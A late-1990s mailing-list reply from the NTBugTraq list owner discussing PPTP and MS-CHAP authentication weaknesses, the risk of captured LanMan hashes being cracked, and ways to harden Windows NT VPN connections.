>Then PPTP is not for you. As mentioned in an earlier post, PPTP is
>based on PPP which uses PAP and CHAP for authentication. While this is
>fine for a dial-up line, it presents some interesting problems when
>transmitted over an open network:
Microsoft's implementation of PPTP allows for PPP to use MS-CHAP, a
challenge response authentication based on RC4. Only a hash is
transmitted if this option is used, not a password.
Any 40-bit limitation is imposed only on export, domestically a 128-bit
version of encryption is usable, but this is for data, not
authentication. If you can place yourself between a client and server
during a PPTP connection establishment, you could indeed sniff the
encapsulated PPP packets, retrieve the hash, and then use something like
l0phtcrack to brute force it. Depending on how the NT Server is set up,
and what client is making the connection, you may be trying to crack
LanMan hashes which would be considerably easier than NT hashes. If the
clients are NT, and NT is set up to refuse LM hashes, however, its
highly unlikely you'd have much success in a reasonable time-frame.
As a client to server VPN, I'd agree with the suggestion to look at
something from your Firewall vendor (if available) unless its NT to NT.
Even then, I'd rather use Routing and Remote Access (formerly Steelhead)
and set up a dial-on-demand router connection between client and server
instead of a simply PPTP dial-up connection (RRAS is free). The reason
there is that a dial-on-demand connection can be set to do reverse
authentication. Client authenticates then server authenticates, much
better.
I believe it would be possible to use SecurID over a normal PPTP dial-up
connection since SecurID will work with RAS, but I haven't personally
tried it. If anyone has, I'd appreciate hearing from them. I'll be
testing this myself soon. Assuming it does work (and I don't see any
technical reasons that are insurmountable to making it work), then you
could have stronger one-time hardware token authentication in the
scenario, much much better.
That combined with encapsulated 128-bit encrypted PPP data, using the
compression algorithms already in RAS for PPP, and the connections have
been, for me, somewhat faster than I expected (apart from meeting the
security criteria that I had in mind at the time of my testing).
If someone has already got software that can decapsulate and decrypt
128-bit PPTP GRE data, I'd be interested in hearing it, otherwise I'd
call it a boast. As for stealing passwords from an authentication
session, NT to NT with the LM-fix applied preventing LM hashes from
being accepted or offered is, imo, a reasonable authentication mechanism
for those that can accept non-one-time token authentication mechanisms.
Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html
|
|
